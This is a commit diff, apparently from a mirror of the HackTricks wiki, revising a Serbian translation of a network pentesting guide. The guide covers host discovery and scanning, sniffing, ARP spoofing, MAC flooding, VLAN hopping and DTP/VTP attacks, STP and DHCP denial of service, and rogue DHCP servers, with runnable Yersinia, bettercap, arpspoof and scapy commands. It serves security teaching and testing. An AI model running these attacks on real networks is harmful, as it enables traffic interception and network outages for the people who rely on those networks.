mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
d8ab2612c8
commit
18152e8afd
@ -21,6 +21,7 @@
|
||||
- [Network Protocols Explained (ESP)](generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md)
|
||||
- [Nmap Summary (ESP)](generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md)
|
||||
- [Pentesting IPv6](generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md)
|
||||
- [Telecom Network Exploitation](generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md)
|
||||
- [WebRTC DoS](generic-methodologies-and-resources/pentesting-network/webrtc-dos.md)
|
||||
- [Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks](generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
- [Spoofing SSDP and UPnP Devices with EvilSSDP](generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)
|
||||
|
@ -12,8 +12,8 @@ U ovoj situaciji imate neki **opseg IP adresa** (možda čak i nekoliko **raspon
|
||||
### ICMP
|
||||
|
||||
Ovo je **najlakši** i **najbrži** način da otkrijete da li je host aktivan ili ne.\
|
||||
Možete pokušati da pošaljete neke **ICMP** pakete i **očekujete odgovore**. Najlakši način je jednostavno slanje **echo zahteva** i očekivanje odgovora. To možete uraditi koristeći jednostavan `ping` ili koristeći `fping` za **raspone**.\
|
||||
Takođe možete koristiti **nmap** da pošaljete druge tipove ICMP paketa (to će izbeći filtere za uobičajene ICMP echo zahtev-odgovor).
|
||||
Možete pokušati da pošaljete neke **ICMP** pakete i **očekujete odgovore**. Najlakši način je jednostavno slanje **echo request** i očekivanje odgovora. To možete uraditi koristeći jednostavan `ping` ili koristeći `fping` za **raspone**.\
|
||||
Takođe možete koristiti **nmap** da pošaljete druge tipove ICMP paketa (to će izbeći filtere za uobičajene ICMP echo request-response).
|
||||
```bash
|
||||
ping -c 1 199.66.11.4 # 1 echo request to a host
|
||||
fping -g 199.66.11.0/24 # Send echo requests to ranges
|
||||
@ -21,7 +21,7 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet
|
||||
```
|
||||
### TCP Port Discovery
|
||||
|
||||
Veoma je uobičajeno da se svi tipovi ICMP paketa filtriraju. Tada, sve što možete da uradite da proverite da li je host aktivan je **pokušati da pronađete otvorene portove**. Svaki host ima **65535 portova**, tako da, ako imate "velik" opseg, **ne možete** testirati da li je **svaki port** svakog hosta otvoren ili ne, to će potrajati previše vremena.\
|
||||
Veoma je uobičajeno da se svi tipovi ICMP paketa filtriraju. Tada, sve što možete da uradite da proverite da li je host aktivan je **pokušati da pronađete otvorene portove**. Svaki host ima **65535 portova**, tako da, ako imate "veliki" opseg, **ne možete** testirati da li je **svaki port** svakog hosta otvoren ili ne, to će potrajati previše vremena.\
|
||||
Tada, ono što vam je potrebno je **brzi skener portova** ([masscan](https://github.com/robertdavidgraham/masscan)) i lista **najčešće korišćenih portova:**
|
||||
```bash
|
||||
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
|
||||
@ -43,7 +43,7 @@ nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
|
||||
# The -sV will make nmap test each possible known UDP service packet
|
||||
# The "--version-intensity 0" will make nmap only test the most probable
|
||||
```
|
||||
Predložena nmap linija će testirati **top 1000 UDP portova** na svakom hostu unutar **/24** opsega, ali čak i to će trajati **>20min**. Ako su potrebni **najbrži rezultati**, možete koristiti [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` Ovo će poslati ove **UDP probe** na njihov **očekivani port** (za /24 opseg ovo će trajati samo 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
Linija nmap-a predložena ranije će testirati **top 1000 UDP portova** na svakom hostu unutar **/24** opsega, ali čak i to će trajati **>20min**. Ako su potrebni **najbrži rezultati**, možete koristiti [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24`. Ovo će poslati ove **UDP probe** na njihov **očekivani port** (za /24 opseg ovo će trajati samo 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
|
||||
### SCTP Port Discovery
|
||||
```bash
|
||||
@ -58,9 +58,9 @@ Ovde možete pronaći dobar vodič o svim poznatim Wifi napadima u vreme pisanja
|
||||
../pentesting-wifi/
|
||||
{{#endref}}
|
||||
|
||||
## Otkivanje hostova iznutra
|
||||
## Otkriće hostova iznutra
|
||||
|
||||
Ako ste unutar mreže, jedna od prvih stvari koje ćete želeti da uradite je da **otkrijete druge hostove**. U zavisnosti od **koliko buke** možete/želite da napravite, različite akcije se mogu izvesti:
|
||||
Ako ste unutar mreže, jedna od prvih stvari koje želite da uradite je da **otkrijete druge hostove**. U zavisnosti od **koliko buke** možete/želite da napravite, različite akcije se mogu izvršiti:
|
||||
|
||||
### Pasivno
|
||||
|
||||
@ -75,7 +75,7 @@ set net.show.meta true #more info
|
||||
```
|
||||
### Aktivno
|
||||
|
||||
Napomena da se tehnike komentarisane u [_**Otkrivanju hostova sa spolja**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP otkrivanje portova_) takođe mogu **primeniti ovde**.\
|
||||
Napomena da se tehnike komentarisane u [_**Otkrivanju hostova sa spoljne strane**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP otkrivanje portova_) takođe mogu **primeniti ovde**.\
|
||||
Ali, pošto ste u **isto mreži** kao i ostali hostovi, možete raditi **više stvari**:
|
||||
```bash
|
||||
#ARP discovery
|
||||
@ -99,17 +99,17 @@ alive6 <IFACE> # Send a pingv6 to multicast.
|
||||
### Active ICMP
|
||||
|
||||
Napomena da se tehnike komentarisane u _Otkrivanju hostova sa spolja_ ([_**ICMP**_](#icmp)) takođe mogu **primeniti ovde**.\
|
||||
Ali, pošto ste u **istoј mreži** kao i ostali hostovi, možete uraditi **više stvari**:
|
||||
Ali, pošto ste u **isto mreži** kao i ostali hostovi, možete uraditi **više stvari**:
|
||||
|
||||
- Ako **pingujete** **adresu za emitovanje podmreže**, ping bi trebao da stigne do **svakog hosta** i oni bi mogli da **odgovore** **vama**: `ping -b 10.10.5.255`
|
||||
- Pingovanjem **adresu za emitovanje mreže** mogli biste čak pronaći hostove unutar **drugih podmreža**: `ping -b 255.255.255.255`
|
||||
- Koristite `-PE`, `-PP`, `-PM` zastavice `nmap` za otkrivanje hostova slanjem **ICMPv4 echo**, **vremenskih oznaka**, i **zahteva za masku podmreže:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
|
||||
- Koristite `-PE`, `-PP`, `-PM` zastavice `nmap` za otkrivanje hostova slanjem **ICMPv4 echo**, **vremenskih oznaka** i **zahteva za masku podmreže:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
|
||||
|
||||
### **Wake On Lan**
|
||||
|
||||
Wake On Lan se koristi za **uključivanje** računara putem **mrežne poruke**. Magični paket koji se koristi za uključivanje računara je samo paket u kojem je **MAC Dst** obezbeđen i zatim se **ponavlja 16 puta** unutar istog paketa.\
|
||||
Ove vrste paketa se obično šalju u **ethernet 0x0842** ili u **UDP paket na port 9**.\
|
||||
Ako **nema \[MAC]** obezbeđen, paket se šalje na **emitovanje ethernet** (i emitovani MAC će biti onaj koji se ponavlja).
|
||||
Wake On Lan se koristi za **uključivanje** računara putem **mrežne poruke**. Magični paket koji se koristi za uključivanje računara je samo paket u kojem je **MAC Dst** naveden i zatim se **ponavlja 16 puta** unutar istog paketa.\
|
||||
Ove vrste paketa se obično šalju u **ethernet 0x0842** ili u **UDP paket na portu 9**.\
|
||||
Ako **nije naveden \[MAC]**, paket se šalje na **emitovanje ethernet** (i emitovani MAC će biti onaj koji se ponavlja).
|
||||
```bash
|
||||
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
|
||||
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
|
||||
@ -121,10 +121,10 @@ Kada otkrijete sve IP adrese (spoljašnje ili unutrašnje) koje želite detaljno
|
||||
|
||||
### TCP
|
||||
|
||||
- **Otvoreni** port: _SYN --> SYN/ACK --> RST_
|
||||
- **Zatvoreni** port: _SYN --> RST/ACK_
|
||||
- **Filtrirani** port: _SYN --> \[NEMA ODGOVORA]_
|
||||
- **Filtrirani** port: _SYN --> ICMP poruka_
|
||||
- **Otvoren** port: _SYN --> SYN/ACK --> RST_
|
||||
- **Zatvoren** port: _SYN --> RST/ACK_
|
||||
- **Filtriran** port: _SYN --> \[NEMA ODGOVORA]_
|
||||
- **Filtriran** port: _SYN --> ICMP poruka_
|
||||
```bash
|
||||
# Nmap fast scan for the most 1000tcp ports used
|
||||
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
|
||||
@ -141,7 +141,7 @@ syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
|
||||
Postoje 2 opcije za skeniranje UDP porta:
|
||||
|
||||
- Pošaljite **UDP paket** i proverite odgovor _**ICMP unreachable**_ ako je port **zatvoren** (u nekoliko slučajeva ICMP će biti **filtriran** pa nećete dobiti nikakve informacije ako je port zatvoren ili otvoren).
|
||||
- Pošaljite **formatirane datagrame** da izazovete odgovor od **servisa** (npr., DNS, DHCP, TFTP i drugi, kao što je navedeno u _nmap-payloads_). Ako dobijete **odgovor**, onda je port **otvoren**.
|
||||
- Pošaljite **formatirane datagrame** da izazovete odgovor od **usluge** (npr., DNS, DHCP, TFTP i druge, kako je navedeno u _nmap-payloads_). Ako dobijete **odgovor**, onda je port **otvoren**.
|
||||
|
||||
**Nmap** će **kombinovati obe** opcije koristeći "-sV" (UDP skeniranja su veoma spora), ali imajte na umu da su UDP skeniranja sporija od TCP skeniranja:
|
||||
```bash
|
||||
@ -192,7 +192,7 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
|
||||
```
|
||||
## Sniffing
|
||||
|
||||
Sniffing možete saznati detalje o IP opsezima, veličinama podmreža, MAC adresama i imenima hostova pregledanjem uhvaćenih okvira i paketa. Ako je mreža pogrešno konfigurisana ili je preopterećena, napadači mogu uhvatiti osetljive materijale putem pasivnog mrežnog sniffinga.
|
||||
Sniffing možete saznati detalje o IP opsezima, veličinama podmreža, MAC adresama i nazivima hostova pregledanjem uhvaćenih okvira i paketa. Ako je mreža pogrešno konfigurisana ili je preopterećena, napadači mogu uhvatiti osetljive materijale putem pasivnog mrežnog sniffinga.
|
||||
|
||||
Ako je preklopna Ethernet mreža pravilno konfigurisana, videćete samo broadcast okvire i materijale namenjene vašoj MAC adresi.
|
||||
|
||||
@ -202,7 +202,7 @@ sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what
|
||||
tcpdump -i <IFACE> icmp #Listen to icmp packets
|
||||
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
|
||||
```
|
||||
Može se, takođe, uhvatiti pakete sa udaljene mašine preko SSH sesije koristeći Wireshark kao GUI u realnom vremenu.
|
||||
Može se, takođe, uhvatiti pakete sa udaljenog računara preko SSH sesije koristeći Wireshark kao GUI u realnom vremenu.
|
||||
```
|
||||
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
|
||||
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
|
||||
@ -228,7 +228,7 @@ Možete koristiti alate kao što su [https://github.com/lgandx/PCredz](https://g
|
||||
|
||||
### ARP spoofing
|
||||
|
||||
ARP Spoofing se sastoji od slanja besplatnih ARP odgovora kako bi se naznačilo da IP adresa mašine ima MAC adresu našeg uređaja. Tada će žrtva promeniti ARP tabelu i kontaktirati naš uređaj svaki put kada želi da kontaktira spoofed IP.
|
||||
ARP Spoofing se sastoji od slanja besplatnih ARP odgovora kako bi se naznačilo da IP mašine ima MAC našeg uređaja. Tada će žrtva promeniti ARP tabelu i kontaktirati našu mašinu svaki put kada želi da kontaktira IP koji je spoofovan.
|
||||
|
||||
#### **Bettercap**
|
||||
```bash
|
||||
@ -246,21 +246,21 @@ arpspoof -t 192.168.1.2 192.168.1.1
|
||||
```
|
||||
### MAC Flooding - CAM overflow
|
||||
|
||||
Preplavite CAM tabelu prekidača slanjem velikog broja paketa sa različitim izvorim MAC adresama. Kada je CAM tabela puna, prekidač počinje da se ponaša kao hub (broadcast-uje sav saobraćaj).
|
||||
Preplavite CAM tabelu prekidača slanjem velikog broja paketa sa različitim izvornih MAC adresama. Kada je CAM tabela puna, prekidač počinje da se ponaša kao hub (broadcast-uje sav saobraćaj).
|
||||
```bash
|
||||
macof -i <interface>
|
||||
```
|
||||
U modernim prekidačima ova ranjivost je ispravljena.
|
||||
|
||||
### 802.1Q VLAN / DTP Napadi
|
||||
### 802.1Q VLAN / DTP napadi
|
||||
|
||||
#### Dinamičko Trunkovanje
|
||||
#### Dinamičko trunkovanje
|
||||
|
||||
**Dynamic Trunking Protocol (DTP)** je dizajniran kao protokol na link sloju za olakšavanje automatskog sistema za trunkovanje, omogućavajući prekidačima da automatski biraju portove za trunk mod (Trunk) ili non-trunk mod. Implementacija **DTP** se često smatra pokazateljem suboptimalnog dizajna mreže, naglašavajući važnost ručne konfiguracije trunkova samo gde je to neophodno i osiguranje pravilne dokumentacije.
|
||||
**Dynamic Trunking Protocol (DTP)** je dizajniran kao protokol na link nivou kako bi olakšao automatski sistem za trunkovanje, omogućavajući prekidačima da automatski biraju portove za trunk mod (Trunk) ili non-trunk mod. Implementacija **DTP** se često smatra pokazateljem suboptimalnog dizajna mreže, naglašavajući važnost ručne konfiguracije trunkova samo gde je to neophodno i osiguranje pravilne dokumentacije.
|
||||
|
||||
Podrazumevano, portovi prekidača su postavljeni da rade u Dynamic Auto modu, što znači da su spremni da iniciraju trunkovanje ako ih pozove susedni prekidač. Bezbednosna zabrinutost se javlja kada se pentester ili napadač poveže na prekidač i pošalje DTP Desirable okvir, primoravajući port da pređe u trunk mod. Ova akcija omogućava napadaču da enumeriše VLAN-ove kroz analizu STP okvira i zaobiđe VLAN segmentaciju postavljanjem virtuelnih interfejsa.
|
||||
|
||||
Prisutnost DTP u mnogim prekidačima podrazumevano može biti iskorišćena od strane protivnika da oponaša ponašanje prekidača, čime se stiče pristup saobraćaju kroz sve VLAN-ove. Skripta [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) se koristi za praćenje interfejsa, otkrivajući da li je prekidač u Default, Trunk, Dynamic, Auto ili Access modu—potonji je jedina konfiguracija imuna na napade VLAN hopping. Ovaj alat procenjuje status ranjivosti prekidača.
|
||||
Prisutnost DTP u mnogim prekidačima podrazumevano može biti iskorišćena od strane protivnika da imituje ponašanje prekidača, čime se stiče pristup saobraćaju kroz sve VLAN-ove. Skripta [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) se koristi za praćenje interfejsa, otkrivajući da li je prekidač u Default, Trunk, Dynamic, Auto ili Access modu—potonji je jedina konfiguracija imuna na VLAN hopping napade. Ovaj alat procenjuje status ranjivosti prekidača.
|
||||
|
||||
Ukoliko se identifikuje ranjivost mreže, alat _**Yersinia**_ može biti korišćen za "omogućavanje trunkovanja" putem DTP protokola, omogućavajući posmatranje paketa iz svih VLAN-ova.
|
||||
```bash
|
||||
@ -275,11 +275,11 @@ yersinia -G #For graphic mode
|
||||
```
|
||||
.png>)
|
||||
|
||||
Da biste enumerisali VLAN-ove, takođe je moguće generisati DTP Desirable okvir pomoću skripte [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. **Ne prekidajte skriptu ni pod kojim okolnostima. Ona injektuje DTP Desirable svake tri sekunde. **Dinamčki kreirani trunk kanali na switch-u žive samo pet minuta. Nakon pet minuta, trunk se gasi.**
|
||||
Da biste enumerisali VLAN-ove, takođe je moguće generisati DTP Desirable okvir pomoću skripte [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. N**e prekidajte skriptu ni pod kojim okolnostima. Ona injektuje DTP Desirable svake tri sekunde. **Dinamčki kreirani trunk kanali na switch-u žive samo pet minuta. Nakon pet minuta, trunk se gasi.**
|
||||
```
|
||||
sudo python3 DTPHijacking.py --interface eth0
|
||||
```
|
||||
Želeo bih da istaknem da **Access/Desirable (0x03)** označava da je DTP okvir tipa Desirable, što govori portu da pređe u Trunk režim. A **802.1Q/802.1Q (0xa5)** označava tip enkapsulacije **802.1Q**.
|
||||
Želeo bih da naglasim da **Access/Desirable (0x03)** označava da je DTP okvir tipa Desirable, što govori portu da pređe u Trunk režim. A **802.1Q/802.1Q (0xa5)** označava tip enkapsulacije **802.1Q**.
|
||||
|
||||
Analizom STP okvira, **saznajemo o postojanju VLAN 30 i VLAN 60.**
|
||||
|
||||
@ -327,13 +327,13 @@ Napad o kojem se govori, **Dynamic Trunking i kreiranje virtuelnih interfejsa za
|
||||
|
||||
#### Double Tagging
|
||||
|
||||
Ako napadač zna vrednosti **MAC, IP i VLAN ID žrtve**, mogao bi pokušati da **duplo označi okvir** sa svojim dodeljenim VLAN-om i VLAN-om žrtve i pošalje paket. Kako **žrtva neće moći da se poveže nazad** sa napadačem, **najbolja opcija za napadača je komunikacija putem UDP-a** sa protokolima koji mogu izvršiti neke zanimljive akcije (kao što je SNMP).
|
||||
Ako napadač zna vrednost **MAC, IP i VLAN ID žrtve**, može pokušati da **duplo označi okvir** sa svojim dodeljenim VLAN-om i VLAN-om žrtve i pošalje paket. Kako **žrtva neće moći da se poveže nazad** sa napadačem, **najbolja opcija za napadača je komunikacija putem UDP-a** sa protokolima koji mogu izvršiti neke zanimljive akcije (kao što je SNMP).
|
||||
|
||||
Druga opcija za napadača je da pokrene **TCP port skeniranje lažirajući IP koji kontroliše napadač i koji je dostupan žrtvi** (verovatno putem interneta). Tada bi napadač mogao da prisluškuje na drugom hostu koji mu pripada ako primi neke pakete od žrtve.
|
||||
|
||||
.png>)
|
||||
|
||||
Da biste izvršili ovaj napad, možete koristiti scapy: `pip install scapy`
|
||||
Za izvođenje ovog napada možete koristiti scapy: `pip install scapy`
|
||||
```python
|
||||
from scapy.all import *
|
||||
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
|
||||
@ -342,7 +342,7 @@ sendp(packet)
|
||||
```
|
||||
#### Lateral VLAN Segmentation Bypass <a href="#d679" id="d679"></a>
|
||||
|
||||
Ako imate **pristup switch-u na koji ste direktno povezani**, imate mogućnost da **obiđete VLAN segmentaciju** unutar mreže. Jednostavno **prebacite port u trunk režim** (poznat i kao trunk), kreirajte virtuelne interfejse sa ID-evima ciljanih VLAN-ova i konfigurišite IP adresu. Možete pokušati da zatražite adresu dinamički (DHCP) ili je možete konfigurisati statički. To zavisi od slučaja.
|
||||
Ako imate **pristup switch-u na koji ste direktno povezani**, imate mogućnost da **obiđete VLAN segmentaciju** unutar mreže. Jednostavno **prebacite port u trunk mode** (poznat i kao trunk), kreirajte virtuelne interfejse sa ID-evima ciljanih VLAN-ova i konfigurišite IP adresu. Možete pokušati da zatražite adresu dinamički (DHCP) ili je možete konfigurisati statički. To zavisi od slučaja.
|
||||
|
||||
{{#ref}}
|
||||
lateral-vlan-segmentation-bypass.md
|
||||
@ -350,14 +350,14 @@ lateral-vlan-segmentation-bypass.md
|
||||
|
||||
#### Layer 3 Private VLAN Bypass
|
||||
|
||||
U određenim okruženjima, kao što su mreže za goste, **izolacija portova (poznata i kao privatni VLAN)** postavke se implementiraju kako bi se sprečilo da klijenti povezani na bežični pristupni tačku direktno komuniciraju jedni s drugima. Međutim, identifikovana je tehnika koja može zaobići ove mere izolacije. Ova tehnika koristi ili nedostatak mrežnih ACL-ova ili njihovu nepravilnu konfiguraciju, omogućavajući IP paketima da se rutiraju kroz ruter kako bi došli do drugog klijenta na istoj mreži.
|
||||
U određenim okruženjima, kao što su mreže za goste, **izolacija portova (poznata i kao privatni VLAN)** se implementira kako bi se sprečilo da klijenti povezani na bežični pristupnik direktno komuniciraju jedni s drugima. Međutim, identifikovana je tehnika koja može zaobići ove mere izolacije. Ova tehnika koristi ili nedostatak mrežnih ACL-ova ili njihovu nepravilnu konfiguraciju, omogućavajući IP paketima da se rutiraju kroz ruter kako bi došli do drugog klijenta na istoj mreži.
|
||||
|
||||
Napad se izvršava kreiranjem **paketa koji nosi IP adresu odredišnog klijenta, ali sa MAC adresom rutera**. To uzrokuje da ruter greškom prosledi paket ciljanom klijentu. Ovaj pristup je sličan onom koji se koristi u Double Tagging napadima, gde se sposobnost kontrole hosta dostupnog žrtvi koristi za iskorišćavanje sigurnosne slabosti.
|
||||
Napad se izvršava kreiranjem **paketa koji nosi IP adresu odredišnog klijenta, ali sa MAC adresom rutera**. To uzrokuje da ruter greškom prosledi paket ciljanom klijentu. Ovaj pristup je sličan onom koji se koristi u napadima sa dvostrukim označavanjem, gde se sposobnost kontrole hosta dostupnog žrtvi koristi za iskorišćavanje sigurnosne slabosti.
|
||||
|
||||
**Ključni koraci napada:**
|
||||
|
||||
1. **Kreiranje paketa:** Paket je posebno kreiran da uključuje IP adresu ciljanog klijenta, ali sa MAC adresom rutera.
|
||||
2. **Iskorišćavanje ponašanja rutera:** Kreirani paket se šalje ka ruteru, koji, zbog konfiguracije, preusmerava paket ka ciljanom klijentu, zaobilazeći izolaciju koju pružaju privatne VLAN postavke.
|
||||
2. **Iskorišćavanje ponašanja rutera:** Kreirani paket se šalje ka ruteru, koji, zbog konfiguracije, preusmerava paket ka ciljanom klijentu, zaobilazeći izolaciju koju pružaju privatni VLAN postavke.
|
||||
|
||||
### VTP Attacks
|
||||
|
||||
@ -365,17 +365,17 @@ VTP (VLAN Trunking Protocol) centralizuje upravljanje VLAN-ovima. Koristi brojev
|
||||
|
||||
#### VTP Domain Roles
|
||||
|
||||
- **VTP Server:** Upravljaju VLAN-ovima—kreira, briše, menja. Emituje VTP obaveštenja članovima domena.
|
||||
- **VTP Client:** Prima VTP obaveštenja kako bi sinhronizovao svoju VLAN bazu podataka. Ova uloga je ograničena od lokalnih VLAN konfiguracionih izmena.
|
||||
- **VTP Server:** Upravljanje VLAN-ovima—kreira, briše, modifikuje. Emituje VTP obaveštenja članovima domena.
|
||||
- **VTP Client:** Prima VTP obaveštenja kako bi sinhronizovao svoju VLAN bazu podataka. Ova uloga je ograničena na lokalne izmene VLAN konfiguracije.
|
||||
- **VTP Transparent:** Ne učestvuje u VTP ažuriranjima, ali prosleđuje VTP obaveštenja. Nije pogođen VTP napadima, održava konstantan broj revizije nula.
|
||||
|
||||
#### VTP Advertisement Types
|
||||
|
||||
- **Summary Advertisement:** Emituje ga VTP server svake 300 sekundi, noseći bitne informacije o domenu.
|
||||
- **Subset Advertisement:** Šalje se nakon izmena u VLAN konfiguraciji.
|
||||
- **Summary Advertisement:** Emituje ga VTP server svake 300 sekundi, noseći osnovne informacije o domenu.
|
||||
- **Subset Advertisement:** Šalje se nakon izmena VLAN konfiguracije.
|
||||
- **Advertisement Request:** Izdaje ga VTP klijent da zatraži Summary Advertisement, obično kao odgovor na otkrivanje višeg broja revizije konfiguracije.
|
||||
|
||||
VTP ranjivosti su iskoristive isključivo putem trunk portova, jer VTP obaveštenja cirkulišu samo kroz njih. Post-DTP napadni scenariji mogu se preusmeriti ka VTP-u. Alati poput Yersinia mogu olakšati VTP napade, sa ciljem da unište VLAN bazu podataka, efikasno ometajući mrežu.
|
||||
VTP ranjivosti su iskoristive isključivo putem trunk portova, jer VTP obaveštenja cirkulišu samo kroz njih. Post-DTP napadi mogu se preusmeriti ka VTP-u. Alati poput Yersinia mogu olakšati VTP napade, sa ciljem da unište VLAN bazu podataka, efikasno ometajući mrežu.
|
||||
|
||||
Napomena: Ova diskusija se odnosi na VTP verziju 1 (VTPv1).
|
||||
````bash
|
||||
@ -389,23 +389,23 @@ U grafičkom režimu Yersinije, izaberite opciju za brisanje svih VTP VLAN-ova d
|
||||
|
||||
#### **STP BPDU DoS**
|
||||
|
||||
Slanjem velike količine BPDUs TCP (Obaveštenje o promeni topologije) ili Conf (BPDUs koje se šalju kada se topologija kreira) prekidači su preopterećeni i prestaju da rade ispravno.
|
||||
Slanjem velikog broja BPDUs TCP (Obaveštenje o promeni topologije) ili Conf (BPDUs koji se šalju kada se topologija kreira) prekidači su preopterećeni i prestaju da rade ispravno.
|
||||
```bash
|
||||
yersinia stp -attack 2
|
||||
yersinia stp -attack 3
|
||||
#Use -M to disable MAC spoofing
|
||||
```
|
||||
#### **STP TCP Napad**
|
||||
#### **STP TCP Attack**
|
||||
|
||||
Kada se pošalje TCP, CAM tabela prekidača će biti obrisana za 15s. Tada, ako kontinuirano šaljete ovu vrstu paketa, CAM tabela će se neprekidno restartovati (ili svakih 15 sekundi) i kada se restartuje, prekidač se ponaša kao hub.
|
||||
Kada se pošalje TCP, CAM tabela prekidača će biti obrisana za 15s. Zatim, ako kontinuirano šaljete ovu vrstu paketa, CAM tabela će se neprekidno restartovati (ili svakih 15 sekundi) i kada se restartuje, prekidač se ponaša kao hub.
|
||||
```bash
|
||||
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
|
||||
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
|
||||
```
|
||||
#### **STP Root Attack**
|
||||
|
||||
Napadač simulira ponašanje prekidača kako bi postao STP root mreže. Tada će više podataka prolaziti kroz njega. Ovo je zanimljivo kada ste povezani na dva različita prekidača.\
|
||||
To se postiže slanjem BPDUs CONF paketa koji kažu da je **prioritet** vrednost manja od stvarnog prioriteta stvarnog root prekidača.
|
||||
Napadač simulira ponašanje preklopnika kako bi postao STP root mreže. Tada će više podataka prolaziti kroz njega. Ovo je zanimljivo kada ste povezani na dva različita preklopnika.\
|
||||
To se postiže slanjem BPDUs CONF paketa koji govore da je **prioritet** vrednost manja od stvarnog prioriteta stvarnog root preklopnika.
|
||||
```bash
|
||||
yersinia stp -attack 4 #Behaves like the root switch
|
||||
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
|
||||
@ -460,7 +460,7 @@ Preferirani mod za brzinu je treći. Zahteva specificiranje:
|
||||
U korporativnim okruženjima, da bi se imitirao postojeći VoIP uređaj, može se:
|
||||
|
||||
- Ispitati MAC oznaku na telefonu.
|
||||
- Navigirati podešavanjima prikaza telefona da bi se videli podaci o modelu.
|
||||
- Navigirati kroz postavke prikaza telefona da bi se videli podaci o modelu.
|
||||
- Povezati VoIP uređaj na laptop i posmatrati CDP zahteve koristeći Wireshark.
|
||||
|
||||
Primer komande za izvršavanje alata u trećem modu bio bi:
|
||||
@ -489,7 +489,7 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
|
||||
```
|
||||
**DoS**
|
||||
|
||||
**Dva tipa DoS** mogu se izvesti protiv DHCP servera. Prvi se sastoji od **simuliranja dovoljno lažnih hostova da se iskoriste sve moguće IP adrese**.\
|
||||
**Dva tipa DoS** mogu se izvesti protiv DHCP servera. Prvi se sastoji u **simulaciji dovoljno lažnih hostova da se iskoriste sve moguće IP adrese**.\
|
||||
Ovaj napad će funkcionisati samo ako možete videti odgovore DHCP servera i završiti protokol (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Na primer, ovo je **nemoguće u Wifi mrežama**.
|
||||
|
||||
Drugi način za izvođenje DHCP DoS je slanje **DHCP-RELEASE paketa koristeći kao izvorni kod svaku moguću IP adresu**. Tada će server pomisliti da su svi završili sa korišćenjem IP adrese.
|
||||
@ -497,9 +497,9 @@ Drugi način za izvođenje DHCP DoS je slanje **DHCP-RELEASE paketa koristeći k
|
||||
yersinia dhcp -attack 1
|
||||
yersinia dhcp -attack 3 #More parameters are needed
|
||||
```
|
||||
Automatizovaniji način za to je korišćenje alata [DHCPing](https://github.com/kamorin/DHCPig).
|
||||
Automatizovaniji način za to je korišćenje alata [DHCPing](https://github.com/kamorin/DHCPig)
|
||||
|
||||
Možete koristiti pomenute DoS napade da primorate klijente da dobiju nove zakupnine unutar okruženja i iscrpite legitimne servere tako da postanu neodgovorni. Tako kada se legitimni pokušaju ponovo povezati, **možete poslužiti zlonamerne vrednosti pomenute u sledećem napadu**.
|
||||
Možete koristiti pomenute DoS napade da primorate klijente da dobiju nove zakupnine unutar okruženja i iscrpite legitimne servere tako da postanu neodgovarajući. Tako kada se legitimni pokušaju ponovo povezati, **možete poslužiti zlonamerne vrednosti pomenute u sledećem napadu**.
|
||||
|
||||
#### Postavljanje zlonamernih vrednosti
|
||||
|
||||
@ -507,7 +507,7 @@ Rogue DHCP server može biti postavljen koristeći DHCP skriptu koja se nalazi n
|
||||
|
||||
Ispod su opcije komandi za konfiguraciju rogue DHCP servera:
|
||||
|
||||
- **Naša IP adresa (Gateway Advertisement)**: Koristite `-i 10.0.0.100` da reklamirate IP vaše mašine kao gateway.
|
||||
